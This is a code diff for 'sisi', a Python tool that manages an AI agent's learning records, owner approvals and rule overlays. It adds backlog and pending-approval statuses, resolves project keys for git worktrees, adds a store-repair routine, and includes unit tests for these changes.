@@ -890,11 +1092,12 @@ def apply_pending(pid, yes, how=None):
rec = L.get(rows, a.get("learning") or "") rec = L.get(rows, a.get("learning") or "")
_need(rec is not None and rec.get("status") not in L.ENDED, "learning %r no longer exists" % a.get("learning")) _need(rec is not None and rec.get("status") not in L.ENDED, "learning %r no longer exists" % a.get("learning"))
_need(L.is_registered(rec), "learning %s was changed outside sisi's own commands" % rec["id"]) _need(L.is_registered(rec), "learning %s was changed outside sisi's own commands" % rec["id"])
if a.get("mechanism_kind") == "rule-text": if a.get("mechanism_kind") in ("rule-add", "rule-replace"):
rid = a["rule_id"] rid = a["rule_id"]
_need(rid not in protected_rules(), "rule %r is protected; even approval cannot change it by cycle" % rid) _need(rid not in protected_rules(), "rule %r is protected; even approval cannot change it by cycle" % rid)
ok, msg = documents.check_budgets(overlay.render_with({rid: documents.check_rule_text(a["rule_text"], rid)})) new = _rule_after(a)[1]
_need(ok, "rule-text for %s breaks the rulebook budget: %s" % (rec["id"], msg)) ok, msg = documents.check_budgets(overlay.render_with({rid: new}))
_need(ok, "%s for %s breaks the rulebook budget: %s" % (a["mechanism_kind"], rec["id"], msg))
replay = tuple(item["replay"]) if item.get("replay") else None replay = tuple(item["replay"]) if item.get("replay") else None
ref = _apply_mechanism(a, rec, item.get("scope") or "project", approval=pid) ref = _apply_mechanism(a, rec, item.get("scope") or "project", approval=pid)
lines.append(_promoted(rec, ref, item.get("scope") or "project", replay) + " (approved)") lines.append(_promoted(rec, ref, item.get("scope") or "project", replay) + " (approved)")
+2 -2
View File
@@ -21,14 +21,14 @@ LONG = {
'export': ' sisi export [PATH] | import PATH one tar.gz of personal data, results and session records; restore it', 'export': ' sisi export [PATH] | import PATH one tar.gz of personal data, results and session records; restore it',
'overlay': ' sisi overlay list|diff|add-rule|replace-rule|disable-rule|enable-rule|add-verifier|...|revert COMMIT\n learned changes to rules, verifiers and recipes; each one a commit in your personal repo', 'overlay': ' sisi overlay list|diff|add-rule|replace-rule|disable-rule|enable-rule|add-verifier|...|revert COMMIT\n learned changes to rules, verifiers and recipes; each one a commit in your personal repo',
'retro': " sisi retro print the unit's record and what stands out in it\n sisi retro --finding F --cause C --impact value|correctness|time|cost|attention --disposition promote|record|drop [--same-as ID | --new] [--target ID]\n record one finding; promote also needs --change, --mechanism,\n --expect and --validate; record needs --limits; drop needs --why-not;\n a match in scope is printed and attached as a recurrence (--new records\n a learning of its own); --target names the rule or recipe it concerns\n sisi retro --adopt ID a parent adopts a subagent's candidate learning, by id", 'retro': " sisi retro print the unit's record and what stands out in it\n sisi retro --finding F --cause C --impact value|correctness|time|cost|attention --disposition promote|record|drop [--same-as ID | --new] [--target ID]\n record one finding; promote also needs --change, --mechanism,\n --expect and --validate; record needs --limits; drop needs --why-not;\n a match in scope is printed and attached as a recurrence (--new records\n a learning of its own); --target names the rule or recipe it concerns\n sisi retro --adopt ID a parent adopts a subagent's candidate learning, by id",
'lessons': ' sisi lessons [--json] | show ID the learning records and their statuses', 'lessons': ' sisi lessons [--json] | ID the learning records and their statuses; with an id (L-0007): that one learning in full',
'cycle': ' sisi cycle [due|apply FILE|check FILE|revert [ID]|help]\n turn proposed learnings into mechanisms (no scheduler:\n due-ness is a counter); apply validates and replays before\n promoting; help prints the cycle file format', 'cycle': ' sisi cycle [due|apply FILE|check FILE|revert [ID]|help]\n turn proposed learnings into mechanisms (no scheduler:\n due-ness is a counter); apply validates and replays before\n promoting; help prints the cycle file format',
'approve': " sisi approve [ID --yes|--no] list, in full, the consequential changes waiting for the owner; decide one\n (in a terminal: an agent's --yes without one is refused)", 'approve': " sisi approve [ID --yes|--no] list, in full, the consequential changes waiting for the owner; decide one\n (in a terminal: an agent's --yes without one is refused)",
'learn': ' sisi learn [--scope user|project] TEXT\n record an owner statement; it takes effect at once and\n `sisi oracle` prints it. Scope for other learnings is\n earned by evidence, never claimed\n sisi learn --withdraw ID --reason WHY\n take a statement recorded by mistake out of delivery (kept in history)', 'learn': ' sisi learn [--scope user|project] TEXT\n record an owner statement; it takes effect at once and\n `sisi oracle` prints it. Scope for other learnings is\n earned by evidence, never claimed\n sisi learn --withdraw ID --reason WHY\n take a statement recorded by mistake out of delivery (kept in history)',
'risk': ' sisi risk [--json] risk floor for the working-tree change, with reasons and\n what that profile requires', 'risk': ' sisi risk [--json] risk floor for the working-tree change, with reasons and\n what that profile requires',
'handover': " sisi handover [--all] | done ID --where PATH [--quote FRAGMENT]\n project-scope learnings waiting to be filed in this project's own docs or\n work list; done confirms one is filed (the named file must contain\n its key text) and removes it from the list", 'handover': " sisi handover [--all] | done ID --where PATH [--quote FRAGMENT]\n project-scope learnings waiting to be filed in this project's own docs or\n work list; done confirms one is filed (the named file must contain\n its key text) and removes it from the list",
'oracle': ' sisi oracle print what the human wants: the standing principles from\n `sisi learn`, live at once (project-scoped ones only in their project)', 'oracle': ' sisi oracle print what the human wants: the standing principles from\n `sisi learn`, live at once (project-scoped ones only in their project)',
'status': ' sisi status [--json] [--learning] recent units with their scorecards, then trends by project, risk profile, model and policy version (median and p95; no single score)', 'status': ' sisi status [--json] [--learning] recent units with their scorecards, then trends by project, risk profile, model and policy version (median and p95; no single score); --learning prints only the learning report',
'verifiers': ' sisi verifiers [WORDS] [--lang L] [--kind K] [--rung N] [--section S] [--installed] [--json]\n list ways to know work is correct, by section\n sisi verifiers show ID [--trace] one entry in full, and whether its tool is installed here; --trace also prints where each folded lesson lives in it\n sisi verifiers for "<claim>" best-matching verifiers for a claim or piece of work\n sisi verifiers doctor | lint which tools are installed; validate the library', 'verifiers': ' sisi verifiers [WORDS] [--lang L] [--kind K] [--rung N] [--section S] [--installed] [--json]\n list ways to know work is correct, by section\n sisi verifiers show ID [--trace] one entry in full, and whether its tool is installed here; --trace also prints where each folded lesson lives in it\n sisi verifiers for "<claim>" best-matching verifiers for a claim or piece of work\n sisi verifiers doctor | lint which tools are installed; validate the library',
'done': ' sisi done [ID] [--trace] recipes: which checks make a kind of work done; --trace also prints where each folded lesson lives in the recipe\n sisi done for "<work>" best-matching recipe', 'done': ' sisi done [ID] [--trace] recipes: which checks make a kind of work done; --trace also prints where each folded lesson lives in the recipe\n sisi done for "<work>" best-matching recipe',
'workers': ' sisi workers [--refresh] the agent tools and models found here, what is usable now and why not, allowance and price where known, delegations waiting for a judgement, and the judged record as three tables\n sisi workers fact W --price N|--score N --source S record a price (per million tokens) or benchmark standing (0-100), with its source and date\n sisi workers avoid|prefer PATTERN --why TEXT your own routing constraints, honoured by `sisi route`\n sisi workers only PROVIDER PATTERN... --why TEXT | --remove make only the matching models of that provider routable\n sisi workers note PATTERN \"TEXT\" --why SOURCE | --remove a standing fact about workers matching PATTERN, shown with route results\n sisi workers down W --reason limit|auth|missing|error [--until DATE|TIME] | up W mark a worker unavailable / available again\n sisi workers import FILE merge another ledger file into the delegation ledger (row counts printed; safe to repeat)', 'workers': ' sisi workers [--refresh] the agent tools and models found here, what is usable now and why not, allowance and price where known, delegations waiting for a judgement, and the judged record as three tables\n sisi workers fact W --price N|--score N --source S record a price (per million tokens) or benchmark standing (0-100), with its source and date\n sisi workers avoid|prefer PATTERN --why TEXT your own routing constraints, honoured by `sisi route`\n sisi workers only PROVIDER PATTERN... --why TEXT | --remove make only the matching models of that provider routable\n sisi workers note PATTERN \"TEXT\" --why SOURCE | --remove a standing fact about workers matching PATTERN, shown with route results\n sisi workers down W --reason limit|auth|missing|error [--until DATE|TIME] | up W mark a worker unavailable / available again\n sisi workers import FILE merge another ledger file into the delegation ledger (row counts printed; safe to repeat)',
+43 -16
View File
@@ -13,9 +13,9 @@ import hashlib, json, os, re, subprocess, time
from . import paths, pdata from . import paths, pdata
STATUSES = ("observed", "analyzed", "proposed", "implemented", "validated", STATUSES = ("observed", "analyzed", "proposed", "pending-approval", "backlog", "implemented", "validated",
"promoted", "monitored", "revised", "reverted", "rejected") "promoted", "monitored", "revised", "reverted", "rejected", "merged")
ENDED = ("rejected", "reverted") ENDED = ("rejected", "reverted", "merged")
MECHANISMS = ("policy", "orchestration", "skill", "tool", "infrastructure", MECHANISMS = ("policy", "orchestration", "skill", "tool", "infrastructure",
"verification", "knowledge", "benchmark") "verification", "knowledge", "benchmark")
IMPACTS = ("value", "correctness", "time", "cost", "attention") IMPACTS = ("value", "correctness", "time", "cost", "attention")
@@ -50,8 +50,17 @@ def now():
return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()) return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
def _git_out(cwd, *args):
try:
out = subprocess.run(["git"] + list(args), cwd=cwd, capture_output=True, text=True, timeout=10)
return out.stdout.strip() if out.returncode == 0 else ""
except (OSError, subprocess.SubprocessError):
return ""
def project_key(cwd): def project_key(cwd):
"""Stable project identity: the git root (main repo for linked worktrees), else the dir.""" """Stable project identity: the main repository's root, never a linked worktree's own path
(a worktree is deleted when its work is done, and the key must outlive it), else the dir."""
try: try:
from . import groundtruth from . import groundtruth
root, _vcs = groundtruth.main_repo_of(cwd) root, _vcs = groundtruth.main_repo_of(cwd)
@@ -59,23 +68,32 @@ def project_key(cwd):
return os.path.realpath(root) return os.path.realpath(root)
except Exception: except Exception:
pass pass
try: top = _git_out(cwd, "rev-parse", "--show-toplevel")
out = subprocess.run(["git", "rev-parse", "--show-toplevel"], cwd=cwd, if top:
capture_output=True, text=True, timeout=10) common = _git_out(top, "rev-parse", "--path-format=absolute", "--git-common-dir")
if out.returncode == 0 and out.stdout.strip(): if common.endswith("/.git") and common[:-5]:
return os.path.realpath(out.stdout.strip()) return os.path.realpath(common[:-5])
except (OSError, subprocess.SubprocessError): return os.path.realpath(top)
pass
return os.path.realpath(cwd) return os.path.realpath(cwd)
def normalize_project(value): def normalize_project(value):
"""The project key for an old `repo`/`cwd` value: the same key new code uses when the folder """The project key for an old `repo`/`cwd` value: the same key new code uses when the folder
still exists, else the cleaned path.""" still exists; for a folder that is gone (a deleted linked worktree), the main repository it was
made from when that can be found; else the cleaned path."""
if not value: if not value:
return "" return ""
value = str(value) value = str(value)
return project_key(value) if os.path.isdir(value) else os.path.realpath(value) if os.path.isdir(value):
return project_key(value)
try:
from . import groundtruth
root, how, _vcs = groundtruth.resolve_repo(value)
if root and how == "t3-worktree-recovery":
return os.path.realpath(root)
except Exception:
pass
return os.path.realpath(value)
def unit_id(project=None): def unit_id(project=None):
@@ -419,7 +437,8 @@ def learnings_in_scope(project, rows=None, targets=()):
return out return out
DELIVERED = ("promoted", "monitored", "proposed", "observed", "implemented", "validated") DELIVERED = ("promoted", "monitored", "proposed", "pending-approval", "backlog", "observed", "implemented",
"validated")
def _delivery_lines(rows): def _delivery_lines(rows):
@@ -474,7 +493,8 @@ def new_record(finding, cause, impact, disposition, project, unit,
"validation": {"method": scrub_secrets(validate or ""), "benchmark": None, "validation": {"method": scrub_secrets(validate or ""), "benchmark": None,
"result": "unvalidated", "detail": ""}, "result": "unvalidated", "detail": ""},
"status": "promoted" if owner_statement else "status": "promoted" if owner_statement else
("proposed" if disposition == "promote" else "observed"), ("backlog" if disposition == "promote" and mechanism == "tool" else
"proposed" if disposition == "promote" else "observed"),
"version": 1, "confidence": "high" if owner_statement else "low", "version": 1, "confidence": "high" if owner_statement else "low",
"provenance": [{"unit": unit, "project": pk, "ts": now(), "kind": "origin"}], "provenance": [{"unit": unit, "project": pk, "ts": now(), "kind": "origin"}],
"terms": derive_terms(finding, cause, change or ""), "terms": derive_terms(finding, cause, change or ""),
@@ -670,6 +690,10 @@ def learning_report():
lines = ["Learning loop (recorded facts; no improvement is claimed from counts):", lines = ["Learning loop (recorded facts; no improvement is claimed from counts):",
"learnings: %d findings: %d closed units known: %d" "learnings: %d findings: %d closed units known: %d"
% (len(rows), len(findings), len(units))] % (len(rows), len(findings), len(units))]
by = {}
for r in rows:
by[r.get("status")] = by.get(r.get("status"), 0) + 1
lines.append("by status: " + ", ".join("%s %d" % (k, by[k]) for k in sorted(by, key=lambda x: str(x))))
odd = [r["id"] for r in rows if not is_registered(r, ledger)] odd = [r["id"] for r in rows if not is_registered(r, ledger)]
if odd: if odd:
lines.append("not delivered (not written by sisi's own commands, or edited by hand): " + ", ".join(odd)) lines.append("not delivered (not written by sisi's own commands, or edited by hand): " + ", ".join(odd))
@@ -712,9 +736,12 @@ def learning_report():
tool = [r for r in rows if r.get("proposed", {}).get("mechanism") == "tool" tool = [r for r in rows if r.get("proposed", {}).get("mechanism") == "tool"
and r.get("status") not in ENDED] and r.get("status") not in ENDED]
if tool: if tool:
lines.append("tool backlog (changes to sisi itself):") lines.append("tool backlog (%d change(s) to sisi itself; a cycle never acts on them, `sisi promote --export` "
"writes them out):" % len(tool))
for r in tool[:8]: for r in tool[:8]:
lines.append("- %s: %s" % (r["id"], derive_title(r["title"], 110))) lines.append("- %s: %s" % (r["id"], derive_title(r["title"], 110)))
if len(tool) > 8:
lines.append("- ... and %d more" % (len(tool) - 8))
return "\n".join(lines) + "\n" return "\n".join(lines) + "\n"
+60 -1
View File
@@ -242,6 +242,7 @@ def run():
pdata.commit("migrate: move personal data out of the product and the state folder", strict=True) pdata.commit("migrate: move personal data out of the product and the state folder", strict=True)
notes += pdata.upgrade() notes += pdata.upgrade()
notes += migrate_learnings() notes += migrate_learnings()
notes += repair_learnings()
return notes return notes
@@ -267,6 +268,60 @@ def _jsonl_rows(path):
return rows, bad return rows, bad
def repair_learnings():
"""Repair of a store that was migrated or written by earlier code, run by `sisi update`. It is
idempotent: once a store is repaired it finds nothing to do and writes nothing. Only rows that sisi's own commands wrote, as
they wrote them, are touched, so a hand-edited row is never laundered into the ledger.
- a `proposed` learning that is a change to sisi itself becomes `backlog`;
- a `proposed` learning with a decision waiting for the owner becomes `pending-approval`;
- an origin project (and a provenance project) that is a linked worktree's path, or the path
of a deleted one, becomes the main repository's key, and enforced mechanisms keyed to the
old path follow it.
Returns notes with the counts."""
from . import cycle, learning as L
rows = L.load_learnings()
ledger = L.load_ledger()
waiting = {i.get("learning") for i in L.load_pending() if i.get("learning")}
changed, backlog, pend, remapped = [], 0, 0, {}
for r in rows:
if not L.is_registered(r, ledger):
continue
did = False
if r.get("status") == "proposed":
if (r.get("proposed") or {}).get("mechanism") == "tool":
r["status"], backlog, did = "backlog", backlog + 1, True
elif r["id"] in waiting:
r["status"], pend, did = "pending-approval", pend + 1, True
old = r.get("origin_project")
new = L.normalize_project(old) if old else old
if new and new != old:
remapped[old] = new
r["origin_project"], did = new, True
for pv in r.get("provenance") or []:
np_ = L.normalize_project(pv.get("project")) if pv.get("project") else pv.get("project")
if np_ and np_ != pv.get("project"):
pv["project"], did = np_, True
if did:
changed.append(r)
if changed:
L.save_learnings(rows, "repair: %d learning record(s) corrected" % len(changed), touched=changed, via="repair")
moved = 0
for rel, key in (("enforced.json", "checks"), ("risk-adjustments.json", "adjustments"),
("routing-adjustments.json", "adjustments")):
d = cycle._overlay_json(rel, key)
hit = [e for e in d.get(key, []) if isinstance(e, dict) and e.get("project") in remapped]
if hit:
for e in hit:
e["project"] = remapped[e["project"]]
moved += len(hit)
cycle._put_json(rel, d, "repair: %s keyed to the main repository" % rel)
if not (changed or moved):
return []
return ["learning repair: %d tool learning(s) moved to the backlog, %d waiting for a decision marked "
"pending-approval, %d project key(s) pointed at the main repository, %d mechanism(s) re-keyed"
% (backlog, pend, len(remapped), moved)]
def migrate_learnings(): def migrate_learnings():
"""Old lesson store -> learning records. Whenever the old store exists and the `migrated` """Old lesson store -> learning records. Whenever the old store exists and the `migrated`
marker does not; a backup first; merged by legacy id (a lesson already carried over is not marker does not; a backup first; merged by legacy id (a lesson already carried over is not
@@ -337,9 +392,12 @@ def migrate_learnings():
origin = L.normalize_project(old.get("project")) or (prov[0]["project"] if prov else "") origin = L.normalize_project(old.get("project")) or (prov[0]["project"] if prov else "")
if not prov: if not prov:
prov = [{"unit": "legacy:%s" % lid, "project": origin, "ts": old.get("created") or "", "kind": "origin"}] prov = [{"unit": "legacy:%s" % lid, "project": origin, "ts": old.get("created") or "", "kind": "origin"}]
# an old open lesson waits for a cycle, as before: it stays counted by `sisi cycle due` # an old open lesson waits for a cycle; one that is a change to sisi itself goes to the backlog
# (a cycle cannot promote it, so it must never count as waiting for one)
status = {"applied": "implemented", "retired": "reverted", "open": "proposed"}.get(old.get("status"), "observed") status = {"applied": "implemented", "retired": "reverted", "open": "proposed"}.get(old.get("status"), "observed")
kind = old.get("change_kind") kind = old.get("change_kind")
if status == "proposed" and kind == "tool":
status = "backlog"
target = str(old.get("target") or "") target = str(old.get("target") or "")
rec = { rec = {
"id": L.next_id(rows), "legacy_id": lid, "id": L.next_id(rows), "legacy_id": lid,
@@ -633,6 +691,7 @@ def import_archive(path):
os.chmod(dst, m.mode & 0o777 or 0o644) os.chmod(dst, m.mode & 0o777 or 0o644)
os.utime(dst, (m.mtime, m.mtime)) os.utime(dst, (m.mtime, m.mtime))
notes += migrate_learnings() notes += migrate_learnings()
notes += repair_learnings()
notes += pdata.upgrade() notes += pdata.upgrade()
b = overlay.build_canon() b = overlay.build_canon()
notes.append("rulebook rebuilt: %d lines" % b["lines"]) notes.append("rulebook rebuilt: %d lines" % b["lines"])
+27
View File
@@ -97,6 +97,33 @@ def rule_text(r):
return "## %s\n\n%s\n" % (r["title"], r["body"]) return "## %s\n\n%s\n" % (r["title"], r["body"])
def add_to_body(body, add):
"""The rule's body with the sentence(s) `add` placed before its `Why:` paragraph: on the end
of the paragraph just before it (no new line), or as a paragraph of their own when that one is a
list. A rule without a Why paragraph gets them at the end."""
paras = body.split("\n\n")
at = next((i for i in range(len(paras) - 1, -1, -1) if paras[i].lstrip().startswith("Why:")), None)
if at is None:
at = len(paras)
if at == 0:
paras.insert(0, add)
return "\n\n".join(paras)
prev = paras[at - 1]
if any(re.match(r"\s*(?:[-*]|\d+[.)])\s", l) for l in prev.splitlines()):
paras.insert(at, add)
else:
paras[at - 1] = prev.rstrip() + " " + add
return "\n\n".join(paras)
def rule_with_added(rid, add, base=None):
"""The parsed rule `rid` (from `base`, else the rule in force) with `add` before its Why."""
cur = base or next((r for r in effective()[1] if r["id"] == rid), None)
if cur is None:
raise OverlayError("no rule %r (the brief lists the ids)" % rid)
return dict(cur, body=add_to_body(cur["body"], add))
def _read(p): def _read(p):
with open(p, encoding="utf-8") as f: with open(p, encoding="utf-8") as f:
return f.read() return f.read()
+6 -5
View File
@@ -5,7 +5,7 @@ finding with a disposition. Only the fields the disposition needs are asked for;
terms, topics and short lines are derived by the tool. A finding that resembles an terms, topics and short lines are derived by the tool. A finding that resembles an
existing learning is attached to it as a recurrence candidate, never refused in a loop. existing learning is attached to it as a recurrence candidate, never refused in a loop.
""" """
import hashlib, json, os, subprocess, sys import hashlib, json, os, re, subprocess, sys
from . import learning as L, paths from . import learning as L, paths
@@ -205,16 +205,17 @@ def cmd_retro(argv, stdin=None):
def cmd_lessons(argv): def cmd_lessons(argv):
"""sisi lessons [show ID] [--json] — list learning records. No digest; see status --learning.""" """sisi lessons [ID | show ID] [--json] — list learning records, or show one. No digest; see status --learning."""
rows = L.load_learnings() rows = L.load_learnings()
if argv and argv[0] == "digest": if argv and argv[0] == "digest":
print("sisi lessons: digest is retired; `sisi status --learning` is the one report", print("sisi lessons: digest is retired; `sisi status --learning` is the one report",
file=sys.stderr) file=sys.stderr)
return 2 return 2
if argv and argv[0] == "show" and len(argv) > 1: if argv and (re.fullmatch(r"L-\d+", argv[0]) or (argv[0] == "show" and len(argv) > 1)):
r = L.get(rows, argv[1]) lid = argv[0] if argv[0] != "show" else argv[1]
r = L.get(rows, lid)
if r is None: if r is None:
print("no learning %r" % argv[1], file=sys.stderr) print("no learning %r" % lid, file=sys.stderr)
return 2 return 2
print(json.dumps(r, indent=2, sort_keys=True)) print(json.dumps(r, indent=2, sort_keys=True))
return 0 return 0
+15 -10
View File
@@ -414,7 +414,7 @@ def format_open(rows):
return lines return lines
def format_status(units, learning=False, recent=5, opened=()): def format_status(units, recent=5, opened=()):
lines = [] lines = []
if opened: if opened:
lines.append("units in progress:") lines.append("units in progress:")
@@ -445,22 +445,27 @@ def format_status(units, learning=False, recent=5, opened=()):
v["n"] if v != "unavailable" else 0) v["n"] if v != "unavailable" else 0)
for name, v in m.items()] for name, v in m.items()]
lines.append(" %-28s %s" % (seg[:28], "; ".join(cells))) lines.append(" %-28s %s" % (seg[:28], "; ".join(cells)))
if learning:
lines.append("")
try:
from . import learning as _L
lines.append(_L.learning_report())
except Exception as e:
store.log_error("status-learning", e)
lines.append("learning: unavailable (%s)" % e)
return "\n".join(lines) return "\n".join(lines)
def format_learning():
"""The learning report alone (`sisi status --learning`)."""
try:
from . import learning as _L
return _L.learning_report().rstrip("\n")
except Exception as e:
store.log_error("status-learning", e)
return "learning: unavailable (%s)" % e
def cmd_status(args=(), cwd=None, out=print): def cmd_status(args=(), cwd=None, out=print):
units = load_unit_summaries(cwd) units = load_unit_summaries(cwd)
opened = open_units(cwd) opened = open_units(cwd)
if "--json" in args: if "--json" in args:
out(json.dumps({"open": opened, "units": units, "trends": trends(units)}, indent=2, default=str)) out(json.dumps({"open": opened, "units": units, "trends": trends(units)}, indent=2, default=str))
return 0 return 0
out(format_status(units, learning="--learning" in args, opened=opened)) if "--learning" in args: # asked for the learning report: just that
out(format_learning())
return 0
out(format_status(units, opened=opened))
return 0 return 0
+236 -1
View File
@@ -5,7 +5,7 @@ to run, validate or take effect that nobody approved.
""" """
import json, os, subprocess, sys, unittest import json, os, subprocess, sys, unittest
from support import SisiCase from support import SisiCase, terminal
from test_learning_loop import Base, PROMOTE, FINDING, CAUSE, _contract from test_learning_loop import Base, PROMOTE, FINDING, CAUSE, _contract
from sisi import learning as L from sisi import learning as L
@@ -313,3 +313,238 @@ class Approval(Base):
low = text.lower() low = text.lower()
for needle in ("typed word", "before-tool hook", "controlling terminal", "does not stop"): for needle in ("typed word", "before-tool hook", "controlling terminal", "does not stop"):
self.assertIn(needle, low) self.assertIn(needle, low)
def _tool_args(n):
return ("retro", "--new", "--finding", "the stub number %d crashed sisi cycle on input case %d" % (n, n),
"--cause", "no test covered stub %d" % n, "--impact", "correctness", "--disposition", "promote",
"--change", "make sisi cycle handle stub %d" % n, "--mechanism", "tool",
"--expect", "stub %d no longer crashes" % n, "--validate", "run stub %d" % n)
class Due(Base):
"""R-11.5-4, R-11.5-7, R-14.4-1 (items 4 and 9): "due" counts only learnings a cycle can act on."""
def test_a_tool_learning_is_backlog_never_proposed_and_never_due(self):
"""Item 4: recording a tool learning gives it the status `backlog`; five of them make no cycle due;
they appear in the learning report and the contribution export, never in a brief."""
from sisi import cycle, release
_contract(self)
for n in range(6):
self.assertEqual(self.sisi(*_tool_args(n)).returncode, 0)
self.assertEqual({r["status"] for r in self.rows()}, {"backlog"})
self.assertEqual(cycle.proposed(), [])
self.assertNotIn("cycle is due", cycle.due_notice())
self.assertNotIn("L-0001", self.sisi("cycle").stdout)
self.assertIn("tool backlog (6 change(s)", L.learning_report())
self.assertIn("backlog 6", L.learning_report())
self.assertEqual(len(release.core_items()[0]), 6)
# five learnings a cycle can act on make it due
for n in range(5):
self.another(n)
self.assertIn("cycle is due (5 proposed", cycle.due_notice())
def test_a_learning_waiting_for_the_owner_is_not_proposed_and_the_cycle_is_not_due_again(self):
"""Item 4: after a cycle parks everything, session start does not say a cycle is due."""
from sisi import cycle
_contract(self)
self.git_init()
ids = [self.another(n) for n in range(5)]
self.assertIn("cycle is due", cycle.due_notice())
self.assertEqual(self.apply([{"action": "promote", "learning": i, "mechanism_kind": "command-check",
"cmd": "make check-%s" % i} for i in ids]).returncode, 0)
self.assertEqual({r["status"] for r in self.rows()}, {"pending-approval"})
self.assertEqual(cycle.proposed(), [])
out = cycle.due_notice()
self.assertNotIn("cycle is due", out)
self.assertIn("wait for the owner", out)
self.assertNotIn("L-0001", self.sisi("cycle").stdout) # not in a brief either
# the owner declines one: it is rejected, not proposed again
with terminal():
self.assertEqual(self.sisi("approve", "P-0001", "--no").returncode, 0)
self.assertEqual(self.rows()[0]["status"], "rejected")
self.assertEqual(cycle.proposed(), [])
def test_the_config_switch_that_silenced_the_notice_is_gone(self):
"""Item 4: learning.cycle_notice was a stopgap for the bug; the code for it is deleted."""
from sisi import cycle
_contract(self)
for n in range(5):
self.another(n)
self.set_config({"learning": {"cycle_notice": False}})
self.assertIn("cycle is due", cycle.due_notice())
with open(os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), "sisi", "cycle.py")) as f:
self.assertNotIn("cycle_notice", f.read())
def test_migration_puts_an_old_tool_lesson_in_the_backlog(self):
"""Item 4: the old store's open tool lesson becomes `backlog`, an open check lesson `proposed`."""
from sisi import lifecycle
from test_learning_loop import Migration
Migration.seed(self)
lifecycle.migrate_learnings()
by = {r["legacy_id"]: r["status"] for r in self.rows() if r.get("legacy_id")}
self.assertEqual((by[2], by[3]), ("backlog", "proposed"))
class Repair(Base):
"""R-11.6-6, R-16-9 (items 4 and 9): a store migrated by earlier code is repaired once by `sisi update`."""
def old_store(self):
"""Rows as earlier code wrote them: a tool learning `proposed`, one with a decision waiting,
and one whose origin is a deleted linked worktree."""
_contract(self)
self.git_init()
self.sisi(*_tool_args(1))
for n in range(2):
self.another(n)
self.apply([{"action": "promote", "learning": "L-0003", "mechanism_kind": "command-check", "cmd": "make a"}])
rows = self.rows()
by = {r["id"]: r for r in rows}
by["L-0001"]["status"] = "proposed"
by["L-0003"]["status"] = "proposed"
dead = os.path.join(self.home, ".t3", "worktrees", "proj", "t3-gone")
by["L-0002"]["origin_project"] = dead
by["L-0002"]["provenance"][0]["project"] = dead
L.save_learnings(rows, "old code", touched=rows, via="test")
return dead
def test_update_repairs_statuses_and_project_keys_once(self):
from sisi import lifecycle
main = os.path.join(self.home, "Code", "proj")
os.makedirs(main)
self.git_init(main)
dead = self.old_store()
# an enforced mechanism written for the dead path follows the learning
os.makedirs(os.path.join(self.data, "overlay"), exist_ok=True)
with open(os.path.join(self.data, "overlay", "enforced.json"), "w") as f:
json.dump({"checks": [{"type": "contract-requirement", "when": "data", "require_kind": "parsing",
"learning": "L-0002", "scope": "project", "project": dead}]}, f)
notes = lifecycle.repair_learnings()
self.assertTrue(notes and "1 tool learning(s) moved to the backlog" in notes[0], notes)
by = {r["id"]: r for r in self.rows()}
self.assertEqual(by["L-0001"]["status"], "backlog")
self.assertEqual(by["L-0003"]["status"], "pending-approval")
self.assertEqual(by["L-0002"]["origin_project"], os.path.realpath(main))
self.assertEqual(by["L-0002"]["provenance"][0]["project"], os.path.realpath(main))
self.assertEqual(self.read_json("overlay/enforced.json")["checks"][0]["project"], os.path.realpath(main))
self.assertTrue(all(L.is_registered(r) for r in self.rows())) # still delivered: the repair is sisi's own
self.assertEqual(lifecycle.repair_learnings(), []) # idempotent: nothing to do the second time
# `sisi update` runs it (the migrate step is where an installation brings its data up to date)
self.assertIn("repair_learnings()", open(lifecycle.__file__).read().split("def run():")[1].split("def migrate_learnings")[0])
def test_a_hand_edited_row_is_not_laundered_by_the_repair(self):
from sisi import lifecycle
self.old_store()
with open(L.learnings_path()) as f:
text = f.read()
with open(L.learnings_path(), "w") as f:
f.write(text.replace('"title": "make sisi cycle handle stub 1"', '"title": "hand edited"', 1))
lifecycle.repair_learnings()
self.assertFalse(L.is_registered(L.get(self.rows(), "L-0001")))
class Origin(Base):
"""R-11.6-2, R-16-5 (item 9): an origin project is the main repository, never a worktree's path."""
def test_a_linked_worktree_records_the_main_repository(self):
main = os.path.join(self.tmp, "main")
os.makedirs(main)
self.git_init(main)
wt = os.path.join(self.tmp, "wt-linked")
subprocess.run(["git", "worktree", "add", "-q", "-b", "side", wt], cwd=main, check=True, capture_output=True)
self.assertEqual(L.project_key(wt), os.path.realpath(main))
# even when the helper that finds the main repository fails, the key is not the worktree's path
import unittest.mock
with unittest.mock.patch("sisi.groundtruth.main_repo_of", side_effect=RuntimeError("boom")):
self.assertEqual(L.project_key(wt), os.path.realpath(main))
_contract(self, "uw", wt)
r = self.retro(*PROMOTE[1:], cwd=wt)
self.assertEqual(r.returncode, 0, r.stderr)
rec = self.rows()[0]
self.assertEqual(rec["origin_project"], os.path.realpath(main))
self.assertEqual(rec["provenance"][0]["project"], os.path.realpath(main))
def test_a_deleted_worktree_path_resolves_to_its_main_repository(self):
main = os.path.join(self.home, "Code", "proj")
os.makedirs(main)
self.git_init(main)
dead = os.path.join(self.home, ".t3", "worktrees", "proj", "t3-abc123")
self.assertEqual(L.normalize_project(dead), os.path.realpath(main))
def test_a_mechanism_whose_project_is_gone_waits_for_the_owner(self):
"""Item 9: nothing can show it works in a project that no longer exists on disk."""
self.git_init()
_contract(self)
self.retro(*PROMOTE[1:])
rows = self.rows()
gone = os.path.join(self.tmp, "deleted-project")
rows[0]["origin_project"] = gone
L.save_learnings(rows, "test", touched=rows, via="test")
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
"pattern": "f.txt", "profile": "critical"}])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertIn("no longer exists", self.pending()[0]["reasons"][0])
self.assertFalse(self.exists("overlay/risk-adjustments.json"))
def test_a_requirement_whose_when_no_code_evaluates_is_refused(self):
"""Item 9: free text in `when` can never trigger; a risk profile or a path glob can."""
from sisi import cycle
self.git_init()
_contract(self)
self.retro(*PROMOTE[1:])
req = {"action": "promote", "learning": "L-0001", "mechanism_kind": "contract-requirement",
"require_kind": "parsing"}
for when in ("csv import", "when the user mentions money", "data and stuff"):
r = self.apply([dict(req, when=when)])
self.assertEqual(r.returncode, 2, when)
self.assertIn("not something the code evaluates", r.stderr)
r = self.apply([dict(req, when="data", require_kind="property")])
self.assertIn("require_kind", r.stderr)
